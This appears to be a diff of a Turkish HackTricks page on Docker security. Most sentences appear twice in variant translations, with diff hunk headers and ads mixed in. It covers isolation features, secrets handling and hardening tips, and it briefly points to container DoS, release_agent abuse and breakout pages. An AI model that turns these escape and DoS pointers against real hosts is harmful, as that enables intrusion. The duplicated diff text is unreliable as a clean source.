- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
- **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
- **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security)'i kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
## **Temel Docker Motoru Güvenliği**
**Docker motoru**, konteynerleri izole etmek için Linux çekirdeğinin **Namespaces** ve **Cgroups**'ını kullanır, temel bir güvenlik katmanı sunar. **Yeteneklerin düşürülmesi**, **Seccomp** ve **SELinux/AppArmor** ile ek koruma sağlanır, konteyner izolasyonu artırılır. Bir **auth eklentisi** kullanıcı eylemlerini daha da kısıtlayabilir.
**Docker motoru**, konteynerleri izole etmek için Linux çekirdeğinin **Namespaces** ve **Cgroups**'ını kullanır, temel bir güvenlik katmanı sunar. **Yeteneklerin düşürülmesi**, **Seccomp** ve **SELinux/AppArmor** ile ek koruma sağlanır, konteyner izolasyonu artırılır. Bir **auth eklentisi** kullanıcı lemlerini daha da kısıtlayabilir.
![Docker Güvenliği](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
@ -32,7 +33,7 @@ Bugün Erişim Alın:
Docker motoruna yerel olarak Unix soketi aracılığıyla veya uzaktan HTTP kullanılarak erişilebilir. Uzaktan erişim için gizlilik, bütünlük ve kimlik doğrulamasını sağlamak için HTTPS ve **TLS** kullanmak önemlidir.
Ubuntu sistemlerinde Docker varsayılan olarak `unix:///var/run/docker.sock` adresinde Unix soketinde dinler. Docker'ın başlangıç seçenekleri `/etc/default/docker` dosyasında tanımlanmıştır. Docker API ve istemciye uzaktan erişimi etkinleştirmek için Docker daemon'ı HTTP soketi üzerinden açmak için aşağıdaki ayarları ekleyin:
Ubuntu sistemlerinde Docker varsayılan olarak `unix:///var/run/docker.sock` adresinde Unix soketinde dinler. Docker'ın başlangıç seçenekleri `/etc/default/docker` dosyasında tanımlanmıştır. Docker API ve istemciye uzaktan erişimi etkinleştirmek için Docker daemon'ını HTTP soketi üzerinden açmak için aşağıdaki ayarları ekleyin:
```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
@ -54,7 +55,7 @@ Konteyner görüntüleri ya özel ya da genel depolama alanlarında saklanabilir
### Görüntü Tarama
Konteynerler, temel görüntü veya temel görüntü üzerine kurulan yazılım nedeniyle **güvenlik açıklarına** sahip olabilir. Docker, konteynerlerin güvenlik taramasını yapabilen ve güvenlik açıklarını listeleyen **Nautilus** adlı bir proje üzerinde çalışmaktadır. Nautilus, her Konteyner görüntü katmanını güvenlik açığı havuzundaki ile karşılaştırarak güvenlik açıklarını belirler.
Konteynerler, temel görüntü veya temel görüntü üzerine kurulan yazılım nedeniyle **güvenlik açıklarına** sahip olabilir. Docker, konteynerlerin güvenlik taramasını yapabilen ve güvenlik açıklarını listeleyen **Nautilus** adlı bir proje üzerinde çalışmaktadır. Nautilus, her Konteyner görüntü katmanını güvenlik açığı havuzunu karşılaştırarak güvenlik açıklarını belirlemek için çalışır.
Daha fazla [**bilgi için burayı okuyun**](https://docs.docker.com/engine/scan/).
@ -92,11 +93,11 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
Docker imaj imzalama, konteynerlerde kullanılan imajların güvenliğini ve bütünlüğünü sağlar. İşte özet bir açıklama:
- **Docker İçerik Güveni**, imaj imzalamayı yönetmek için The Update Framework (TUF) üzerine kurulu Notary projesini kullanır. Daha fazla bilgi için [Notary](https://github.com/docker/notary) ve [TUF](https://theupdateframework.github.io) sayfalarına bakabilirsiniz.
- **Docker İçerik Güveni**, imza yönetimi için The Update Framework (TUF) tabanlı Notary projesini kullanır. Daha fazla bilgi için [Notary](https://github.com/docker/notary) ve [TUF](https://theupdateframework.github.io) sayfalarına bakabilirsiniz.
- Docker içerik güvenini etkinleştirmek için `export DOCKER_CONTENT_TRUST=1` ayarını yapın. Bu özellik, Docker sürümü 1.10 ve sonrasında varsayılan olarak kapalıdır.
- Bu özellik etkinleştirildiğinde, yalnızca imzalı imajlar indirilebilir. İlk imaj yükleme işlemi, kök ve etiketleme anahtarları için parola belirlemeyi gerektirir ve Docker ayrıca gelişmiş güvenlik için Yubikey'i destekler. Daha fazla ayrıntıya [buradan](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) ulaşabilirsiniz.
- İçerik güveni etkinleştirilmiş bir imzasız imajı çekmeye çalışmak, "No trust data for latest" hatası ile sonuçlanır.
- İlk imaj yükleme işleminden sonra imajları itmek için Docker, imajı imzalamak için depo anahtarının parolasını ister.
- Bu özellik etkinleştirildiğinde, yalnızca imzalı imajlar indirilebilir. İlk imaj yükleme işlemi, kök ve etiketleme anahtarları için parola belirlemeyi gerektirir; Docker ayrıca gelişmiş güvenlik için Yubikey'i de destekler. Daha fazla ayrıntıya [buradan](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) ulaşabilirsiniz.
- İçerik güveni etkinleştirilmiş bir imzasız imajı çekmeye çalışmak, "No trust data for latest" hatasıyla sonuçlanır.
- İlk imaj yüklemeden sonra imajı imzalamak için Docker, depo anahtarının parolasını ister.
Özel anahtarlarınızı yedeklemek için aşağıdaki komutu kullanın:
```bash
@ -110,7 +111,7 @@ Docker ana bilgisayarlar arasında geçiş yaparken işlemleri sürdürebilmek i
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve yönetin.\
Bugün Erişim Edinin:
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
@ -132,15 +133,15 @@ Konteynerleştirilmiş ortamlarda, projeleri ve işlemleri izole etmek güvenlik
**Kontrol Grupları (CGroups)**
* **Fonksiyon**: Kaynakları işlemler arasında tahsis etmek için kullanılır.
* **Güvenlik Yönü**: CGroups kendileri izolasyon güvenliği sunmaz, ancak yanlış yapılandırılmışsa `release_agent` özelliği, yetkisiz erişim için potansiyel olarak kötüye kullanılabilir.
* **Fonksiyon**: Kaynakları işlemler arasında paylaştırmak için kullanılır.
* **Güvenlik Yönü**: CGroups, kendileri izolasyon güvenliği sunmaz, ancak yanlış yapılandırılmışsa `release_agent` özelliği, yetkisiz erişim için potansiyel olarak kötüye kullanılabilir.
**Yetenek Düşürme (Capability Drop)**
* **Önem**: İşlem izolasyonu için kritik bir güvenlik özelliğidir.
* **İşlevsellik**: Belirli yetenekleri düşürerek kök işlemin gerçekleştirebileceği işlemleri kısıtlar. Bir işlem kök ayrıcalıklarıyla çalışsa bile, gerekli yeteneklere sahip olmaması nedeniyle ayrıcalıklı lemleri gerçekleştiremez, çünkü sistem çağrıları yetersiz izinler nedeniyle başarısız olur.
* **Önemi**: İşlem izolasyonu için kritik bir güvenlik özelliğidir.
* **İşlevsellik**: Belirli yetenekleri bırakarak kök işlemin gerçekleştirebileceği eylemleri kısıtlar. Bir işlem kök ayrıcalıklarıyla çalışsa bile, gerekli yeteneklere sahip olmaması nedeniyle ayrıcalıklı eylemleri gerçekleştiremez, çünkü sistem çağrıları yetersiz izinler nedeniyle başarısız olur.
Bu, işlem diğerlerini düşürdükten sonra **kalan yeteneklerdir**:
Bu, işlem diğer yetenekleri bıraktıktan sonra **kalan yeteneklerdir**:
{% code overflow="wrap" %}
```
@ -150,7 +151,7 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
**Seccomp**
Docker'da varsayılan olarak etkindir. İşlemi çağırabileceği **sistem çağrılarını daha da sınırlamaya yardımcı olur**.\
Docker'da varsayılan olarak etkindir. **İşlemin çağırabileceği sistem çağrılarını daha da sınırlamaya yardımcı olur**.\
**Varsayılan Docker Seccomp profili**, [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) adresinde bulunabilir.
**AppArmor**
@ -163,7 +164,7 @@ Bu, yetenekleri, sistem çağrılarını, dosya ve klasörlere erişimi azaltman
### Ad Alanları
**Ad alanları**, Linux çekirdeğinin bir özelliğidir ve **çekirdek kaynaklarını bölümlendirir**, böylece bir **set işlem**, bir **set kaynak** görürken **başka** bir **set işlem** farklı bir **set kaynak** görür. Bu özellik, bir dizi kaynak ve işlem için aynı ad alanına sahip olmakla birlikte, bu ad alanlarının farklı kaynaklara işaret etmesiyle çalışır. Kaynaklar birden çok alanda bulunabilir.
**Ad alanları**, Linux çekirdeğinin bir özelliğidir ve **çekirdek kaynaklarını bölümlere ayırır**, böylece bir **set işlem**, bir **set kaynak** görürken **başka** bir **set işlem** farklı bir **set kaynak** görür. Bu özellik, bir dizi kaynak ve işlem için aynı ad alanına sahip olmakla birlikte, bu ad alanları farklı kaynaklara işaret eder. Kaynaklar birden çok alanda bulunabilir.
Docker, Konteyner izolasyonunu sağlamak için aşağıdaki Linux çekirdek Ad Alanlarını kullanır:
@ -182,7 +183,7 @@ Docker, Konteyner izolasyonunu sağlamak için aşağıdaki Linux çekirdek Ad A
### cgroups
Linux çekirdek özelliği **cgroups**, bir dizi işlem arasında **cpu, bellek, io, ağ bant genişliği gibi kaynakları kısıtlama** yeteneği sağlar. Docker, belirli Konteyner için kaynak kontrolü sağlayan cgroup özelliğini kullanarak Konteyner'lar oluşturmanıza izin verir.\
Aşağıda, kullanıcı alanı belleği 500m, çekirdek belleği 50m, cpu payı 512, blkioweight 400 ile sınırlı bir Konteyner oluşturulmuştur. CPU payı, Konteyner'ın CPU kullanımını kontrol eden bir orandır. Varsayılan değeri 1024'tür ve 0 ile 1024 arasında bir aralığa sahiptir. Üç Konteynerin aynı CPU payına (1024) sahip olduğunu varsayarsak, CPU kaynağı çatışması durumunda her Konteyner %33'e kadar CPU alabilir. blkio-weight, Konteyner'ın IO'sunu kontrol eden bir orandır. Varsayılan değeri 500'dür ve 10 ile 1000 arasında bir aralığa sahiptir.
Aşağıda, kullanıcı alanı belleği 500m'ye, çekirdek belleği 50m'ye, cpu payını 512'ye, blkioweight'i 400'e sınırlayan bir Konteyner oluşturulmuştur. CPU payı, Konteyner'ın CPU kullanımını kontrol eden bir orandır. Varsayılan değeri 1024'tür ve 0 ile 1024 arasında bir aralığa sahiptir. Üç Konteynerin aynı CPU payına (1024) sahip olduğunu varsayarsak, CPU kaynağı çatışması durumunda her Konteyner, CPU'nun %33'üne kadar alabilir. blkio-weight, Konteyner'ın IO'sunu kontrol eden bir orandır. Varsayılan değeri 500'dür ve 10 ile 1000 arasında bir aralığa sahiptir.
```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
```
@ -200,9 +201,9 @@ Daha fazla bilgi için kontrol edin:
### Yetenekler
Yetenekler, kök kullanıcı için izin verilebilecek yetenekler için daha ince bir kontrol sağlar. Docker, kullanıcı türünden bağımsız olarak bir Konteyner içinde yapılabilen işlemleri sınırlamak için Linux çekirdek yetenek özelliğini kullanır.
Yetenekler, kök kullanıcı için izin verilebilecek yetenekler için daha ince kontrol sağlar. Docker, kullanıcı türünden bağımsız olarak bir Konteyner içinde yapılabilen işlemleri sınırlamak için Linux çekirdek yetenek özelliğini kullanır.
Bir docker konteyneri çalıştırıldığında, işlem, izolasyondan kaçınmak için kullanabileceği hassas yetenekleri bırakır. Bu, işlemin hassas eylemleri gerçekleştiremeyeceğinden ve kaçamayacağından emin olmaya çalışır:
Docker konteyneri çalıştırıldığında, işlem, izolasyondan kaçınmak için kullanabileceği hassas yetenekleri bırakır. Bu, işlemin hassas eylemleri gerçekleştiremeyeceğinden ve kaçamayacağından emin olmaya çalışır:
{% content-ref url="../linux-capabilities.md" %}
[linux-capabilities.md](../linux-capabilities.md)
@ -218,7 +219,7 @@ Bu, Docker'ın konteyner içinde kullanılabilecek sistem çağrılarını sın
### Docker'da AppArmor
AppArmor, konteynerleri sınırlı bir dizi kaynağa ve program başına profillere kısıtlamak için bir çekirdek geliştirmesidir.:
AppArmor, konteynerleri sınırlı bir dizi kaynağa per-program profilleri ile sınırlamak için bir çekirdek geliştirmesidir.:
{% content-ref url="apparmor.md" %}
[apparmor.md](apparmor.md)
@ -227,12 +228,12 @@ AppArmor, konteynerleri sınırlı bir dizi kaynağa ve program başına profill
### Docker'da SELinux
* **Etiketleme Sistemi**: SELinux, her işlem ve dosya sistemi nesnesine benzersiz bir etiket atar.
* **Politika Uygulaması**: Bir işlem etiketinin sistem içinde diğer etiketler üzerinde hangi eylemleri gerçekleştirebileceğini tanımlayan güvenlik politikalarını uygular.
* **Politika Uygulaması**: Sistem içinde bir işlem etiketinin diğer etiketler üzerinde hangi eylemleri gerçekleştirebileceğini tanımlayan güvenlik politikalarını uygular.
* **Konteyner İşlem Etiketleri**: Konteyner motorları konteyner işlemlerini başlattığında genellikle sınırlı bir SELinux etiketi atarlar, genellikle `container_t`.
* **Konteyner İçindeki Dosya Etiketleme**: Konteyner içindeki dosyalar genellikle `container_file_t` olarak etiketlenir.
* **Politika Kuralları**: SELinux politikası, öncelikle `container_t` etiketine sahip işlemlerin yalnızca `container_file_t` olarak etiketlenmiş dosyalarla etkileşime geçebileceğini sağlar.
* **Politika Kuralları**: SELinux politikası, `container_t` etiketine sahip işlemlerin yalnızca `container_file_t` olarak etiketlenmiş dosyalarla etkileşime geçebileceğini (okuma, yazma, yürütme) sağlar.
Bu mekanizma, bir konteyner içindeki bir işlem bile tehlikeye atılmış olsa bile, yalnızca karşılık gelen etiketlere sahip nesnelerle etkileşimde bulunabileceğinden, bu tür tehlikelerden kaynaklanan potansiyel hasarı önemli ölçüde sınırlar.
Bu mekanizma, bir konteyner içindeki bir işlem bile tehlikeye atılmış olsa bile, yalnızca ilgili etiketlere sahip nesnelerle etkileşimde bulunabileceğinden, bu tür tehlikelerden kaynaklanan potansiyel hasarı önemli ölçüde sınırlar.
{% content-ref url="../selinux.md" %}
[selinux.md](../selinux.md)
@ -240,7 +241,7 @@ Bu mekanizma, bir konteyner içindeki bir işlem bile tehlikeye atılmış olsa
### AuthZ & AuthN
Docker'da bir yetkilendirme eklentisi, Docker daemonuna yapılan istekleri izin verip engelleyerek güvenlikte önemli bir rol oynar. Bu karar, iki temel bağlamı inceleyerek verilir:
Docker'da bir yetkilendirme eklentisi, Docker daemonına yapılan istekleri izin verip engelleyerek güvenlikte önemli bir rol oynar. Bu karar, iki temel bağlamı inceleyerek verilir:
* **Kimlik Doğrulama Bağlamı**: Bu, kullanıcı hakkında kapsamlı bilgileri içerir, kim oldukları ve nasıl kimlik doğruladıkları gibi.
* **Komut Bağlamı**: Yapılan isteğe ilişkin tüm ilgili verileri içerir.
@ -253,7 +254,7 @@ Bu bağlamlar, yalnızca kimlik doğrulaması yapılmış kullanıcılardan gele
## Bir konteynerden DoS
Bir konteynerin kullanabileceği kaynakları doğru bir şekilde sınırlamazsanız, tehlikeye atılmış bir konteyner, çalıştığı ana bilgisayarı DoS edebilir.
Bir konteynerin kullanabileceği kaynakları doğru bir şekilde sınırlamıyorsanız, tehlikeye atılmış bir konteyner, çalıştığı ana bilgisayarı DoS edebilir.
* CPU DoS
```bash
@ -281,7 +282,7 @@ Aşağıdaki sayfada **`--privileged` bayrağının ne anlama geldiğini** öğr
#### no-new-privileges
Eğer bir saldırganın düşük ayrıcalıklı bir kullanıcı olarak erişim elde etmeyi başardığı bir konteyner çalıştırıyorsanız ve **hatalı yapılandırılmış suid ikili dosyanız** varsa, saldırgan bunu kötüye kullanabilir ve konteyner içinde **ayrıcalıkları yükseltebilir**. Bu da onun kaçmasına izin verebilir.
Eğer bir saldırganın düşük ayrıcalıklı bir kullanıcı olarak erişim elde etmeyi başardığı bir konteyner çalıştırıyorsanız ve **hatalı yapılandırılmış suid ikili dosyasına** sahipseniz, saldırgan bunu kötüye kullanabilir ve konteyner içinde **ayrıcalıkları yükseltebilir**. Bu da ona kaçmasına izin verebilir.
Konteyneri **`no-new-privileges`** seçeneği etkinleştirilmiş olarak çalıştırmak, bu tür ayrıcalık yükseltmelerini **engelleyecektir**.
```
@ -310,9 +311,9 @@ Daha fazla **`--security-opt`** seçeneği için kontrol edin: [https://docs.doc
Docker görüntülerine doğrudan şifre gömmek veya çevresel değişkenler kullanmak önemli değildir, çünkü bu yöntemler, `docker inspect` veya `exec` gibi komutlar aracılığıyla konteynıra erişimi olan herkese hassas bilgilerinizi açığa çıkarır.
**Docker birimleri**, hassas bilgilere erişmek için önerilen daha güvenli bir alternatiftir. Bunlar, riskleri azaltmak için geçici bir bellek dosya sistemi olarak kullanılabilir ve `docker inspect` ve günlüğe kaydetme ile ilişkili riskleri hafifletir. Ancak, kök kullanıcılar ve konteynıra `exec` erişimi olanlar hala şifrelere erişebilir.
**Docker birimleri**, hassas bilgilere erişim için önerilen daha güvenli bir alternatiftir. Bunlar, riskleri azaltmak için geçici bir dosya sistemi olarak bellekte kullanılabilir ve `docker inspect` ve günlüğe kaydetme ile ilişkili riskleri hafifletir. Ancak, kök kullanıcılar ve konteynıra `exec` erişimi olanlar hala şifrelere erişebilir.
**Docker secrets**, hassas bilgileri ele almak için daha da güvenli bir yöntem sunar. Görüntü oluşturma aşamasında şifreler gerektiren durumlar için, **BuildKit** ek özellikler sunarak görüntü oluşturma hızını artırır ve ek özellikler sağlar.
**Docker secrets**, hassas bilgileri ele almak için daha güvenli bir yöntem sunar. Görüntü oluşturma aşamasında şifreler gerektiren durumlar için, **BuildKit** ek özellikler sunarak görüntü oluşturma hızını artırır ve ek özellikler sağlar.
BuildKit'ten yararlanmak için üç şekilde etkinleştirilebilir:
@ -324,7 +325,7 @@ BuildKit, `--secret` seçeneği ile yapı zamanı şifrelerin kullanımına izin
```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
```
Çalışan bir konteyner için gerekli olan sırlar için **Docker Compose ve Kubernetes**, sağlam çözümler sunar. Docker Compose, gizli dosyaları belirtmek için hizmet tanımında bir `secrets` anahtarı kullanır. Bu, bir `docker-compose.yml` örneğinde gösterildiği gibi:
Çalışan bir konteyner için gerekli olan sırlar için **Docker Compose ve Kubernetes** sağlam çözümler sunar. Docker Compose, gizli dosyaları belirtmek için hizmet tanımında bir `secrets` anahtarı kullanır, aşağıdaki `docker-compose.yml` örneğinde olduğu gibi:
```yaml
version: "3.7"
services:
@ -343,35 +344,35 @@ Kubernetes ortamlarında, secrets doğal olarak desteklenir ve [Helm-Secrets](ht
### gVisor
**gVisor**, Go dilinde yazılmış bir uygulama çekirdeğidir ve Linux sistemi yüzeyinin önemli bir kısmını uygular. Uygulama ile ana çekirdek arasında bir **izolasyon sınırı sağlayan** `runsc` adında bir [Open Container Initiative (OCI)](https://www.opencontainers.org) çalışma zamanını içerir. `runsc` çalışma zamanı, Docker ve Kubernetes ile entegre olup, sandboxed konteynerlerin çalıştırılmasını kolaylaştırır.
**gVisor**, Linux sistem yüzeyinin önemli bir kısmını uygulayan, Go'da yazılmış bir uygulama çekirdeğidir. Uygulama ile ana bilgisayar çekirdeği arasında bir **izolasyon sınırı sağlayan** `runsc` adında bir [Open Container Initiative (OCI)](https://www.opencontainers.org) çalışma zamanını içerir. `runsc` çalışma zamanı, Docker ve Kubernetes ile entegre olarak, kum havuzlu konteynerleri çalıştırmayı kolaylaştırır.
{% embed url="https://github.com/google/gvisor" %}
### Kata Containers
**Kata Containers**, konteynerlere benzer şekilde hissedip performans gösteren hafif sanal makinelerle güvenli bir konteyner çalışma zamanı oluşturmak için çalışan açık kaynak bir topluluktur, ancak ikinci bir savunma katmanı olarak donanım sanallaştırma teknolojisini kullanarak **daha güçlü iş yükü izolasyonu sağlar**.
**Kata Containers**, konteynerler gibi hissedip performans gösteren hafif sanal makinelerle güvenli bir konteyner çalışma zamanı oluşturmak için çalışan açık kaynak topluluğudur, ancak ikinci bir savunma katmanı olarak donanım sanallaştırma teknolojisini kullanarak **daha güçlü iş yükü izolasyonu sağlar**.
{% embed url="https://katacontainers.io/" %}
### Özet İpuçları
* **`--privileged` bayrağını kullanmayın veya konteyner içine** [**Docker soketi bağlamayın**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker soketi, konteynerlerin başlatılmasına izin verir, bu nedenle örneğin, `--privileged` bayrağı ile başka bir konteyneri çalıştırarak ana bilgisayarın tam kontrolünü ele geçirmek kolaydır.
* **Konteyner içinde kök olarak çalıştırmayın.** [**Farklı bir kullanıcı**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **ve** [**kullanıcı ad alanları**](https://docs.docker.com/engine/security/userns-remap/)** kullanın.** Konteynerdeki kök, kullanıcı ad alanları ile yeniden eşlenmediği sürece ana bilgisayarla aynıdır. Yalnızca Linux ad alanları, yetenekler ve cgroups tarafından hafifçe kısıtlanır.
* [**Tüm yetenekleri bırakın**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) ve yalnızca gerekenleri etkinleştirin** (`--cap-add=...`). Birçok iş yükü hiçbir yetenek gerektirmez ve bunları eklemek bir saldırı kapsamını artırır.
* **`--privileged` bayrağını kullanmayın veya konteyner içinde bir** [**Docker soketi bağlamayın**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker soketi, konteynerlerin başlatılmasına izin verir, bu nedenle örneğin, `--privileged` bayrağı ile başka bir konteyner çalıştırarak ana bilgisayarın tam kontrolünü ele geçirmek kolaydır.
* **Konteyner içinde kök olarak çalıştırmayın.** [**Farklı bir kullanıcı**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **ve** [**kullanıcı ad alanları**](https://docs.docker.com/engine/security/userns-remap/)** kullanın.** Konteynerdeki kök, kullanıcı ad alanları ile yeniden eşlenene kadar ana bilgisayardakiyle aynıdır. Yalnızca Linux ad alanları, yetenekler ve cgroups tarafından hafifçe kısıtlanır.
* [**Tüm yetenekleri bırakın**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) ve yalnızca gerekenleri etkinleştirin** (`--cap-add=...`). Birçok iş yükü hiçbir yetenek gerektirmez ve bunları eklemek bir saldırı alanının kapsamını artırır.
* [**"no-new-privileges" güvenlik seçeneğini kullanın**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) süid ikili dosyalar aracılığıyla örneğin daha fazla ayrıcalık kazanmalarını önlemek için.
* [**Konteynere sağlanan kaynakları sınırlayın**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Kaynak sınırları, makinenin hizmet reddi saldırılarından korunmasına yardımcı olabilir.
* **[Seccomp](https://docs.docker.com/engine/security/seccomp/)**, [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(veya SELinux)** profillerini ayarlayarak konteyner için kullanılabilir eylemleri ve sistem çağrılarını minimuma indirin.
* **[Resmi docker görüntülerini](https://docs.docker.com/docker-hub/official\_images/) kullanın ve imzaları gerektirin** veya bunlara dayalı kendi görüntülerinizi oluşturun. Geriye dönük görüntülerden miras almayın veya kullanmayın. Ayrıca kök anahtarları, parola güvenli bir yerde saklayın. Docker, anahtarları UCP ile yönetme planları yapmaktadır.
* **[Seccomp](https://docs.docker.com/engine/security/seccomp)**, [AppArmor](https://docs.docker.com/engine/security/apparmor/) **(veya SELinux)** profillerini ayarlayarak konteyner için kullanılabilir eylemleri ve sistem çağrılarını minimuma indirin.
* **[Resmi docker görüntülerini](https://docs.docker.com/docker-hub/official\_images/) kullanın ve imzaları gerektirin** veya bunlara dayalı kendi görüntülerinizi oluşturun. Geriye dönük veya [arka kapılı](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) görüntülerden miras almayın veya kullanmayın. Ayrıca kök anahtarları, parola güvenli bir yerde saklayın. Docker, anahtarları UCP ile yönetme planları yapmaktadır.
* **Güvenlik yamalarını uygulamak için düzenli olarak** **görüntülerinizi yeniden oluşturun.**
* **Secret'ları akıllıca yönetin** böylece saldırganın bunlara erişmesi zor olur.
* Docker daemon'ı **ıklarsanız HTTPS** kullanın ve istemci ve sunucu kimlik doğrulaması yapın.
* Docker dosyanızda **ADD yerine COPY'yi tercih edin**. ADD otomatik olarak sıkıştırılmış dosyaları çıkarır ve dosyaları URL'lerden kopyalayabilir. COPY bu yeteneklere sahip değildir. Mümkün olduğunca ADD kullanmaktan kaçının, böylece uzak URL'ler ve Zip dosyaları aracılığıyla yapılan saldırılara karşı savunmasız olmazsınız.
* **Secret'larınızı akıllıca yönetin** böylece saldırganın bunlara erişmesi zor olur.
* Docker daemon'ı **HTTPS ile açıklarsanız**, istemci ve sunucu kimlik doğrulaması yapın.
* Dockerfile'ınızda **ADD yerine COPY'yi tercih edin**. ADD otomatik olarak sıkıştırılmış dosyaları çıkarır ve dosyaları URL'lerden kopyalayabilir. COPY'nin bu yetenekleri yoktur. Mümkün olduğunca ADD kullanmaktan kaçının, böylece uzak URL'ler ve Zip dosyaları aracılığıyla yapılan saldırılara karşı savunmasız olmazsınız.
* **Her mikro hizmet için ayrı konteynerler kullanın**
* **Konteyner görüntülerini daha küçük yapın**
## Docker Kaçışı / Ayrıcalık Yükseltme
Eğer **bir Docker konteynerinin içindeyseniz** veya **docker grubunda bir kullanıcıya erişiminiz varsa**, **kaçmaya ve ayrıcalıkları yükseltmeye** çalışabilirsiniz:
Eğer **bir docker konteynerinin içindeyseniz** veya **docker grubunda bir kullanıcıya erişiminiz varsa**, **kaçmaya ve ayrıcalıkları yükseltmeye** çalışabilirsiniz:
{% content-ref url="docker-breakout-privilege-escalation/" %}
[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/)
@ -379,7 +380,7 @@ Eğer **bir Docker konteynerinin içindeyseniz** veya **docker grubunda bir kull
## Docker Kimlik Doğrulama Eklentisi Atlatma
Eğer docker soketine erişiminiz varsa veya **docker grubunda bir kullanıcıya erişiminiz varsa ancak eylemleriniz bir docker kimlik doğrulama eklentisi tarafından sınırlanıyorsa**, bunu **atlayıp atlayamayacağınızı kontrol edin:**
Eğer docker soketine erişiminiz varsa veya **docker grubunda bir kullanıcıya erişiminiz varsa ancak eylemleriniz bir docker kimlik doğrulama eklentisi tarafından sınırlanıyorsa**, **bunu atlayıp atlayamayacağınızı kontrol edin:**
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
@ -388,7 +389,7 @@ Eğer docker soketine erişiminiz varsa veya **docker grubunda bir kullanıcıya
## Docker Sıkılaştırma
* [**docker-bench-security**](https://github.com/docker/docker-bench-security) aracı, Docker konteynerlerini üretimde dağıtma etrafında onlarca yaygın en iyi uygulamayı kontrol eden bir betik. Testlerin hepsi otomatiktir ve [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/) temel alınmıştır.\
Araç, Docker çalıştıran ana bilgisayardan veya yeterli ayrıcalıklara sahip bir konteynerden çalıştırmanız gerekir. README'de nasıl çalıştırılacağını öğrenin: [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
Araç, docker çalıştıran ana bilgisayardan veya yeterli ayrıcalıklara sahip bir konteynerden çalıştırmanız gerekir. README'de nasıl çalıştırılacağını öğrenin: [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
## Referanslar
@ -409,18 +410,22 @@ Araç, Docker çalıştıran ana bilgisayardan veya yeterli ayrıcalıklara sahi
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve **otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\
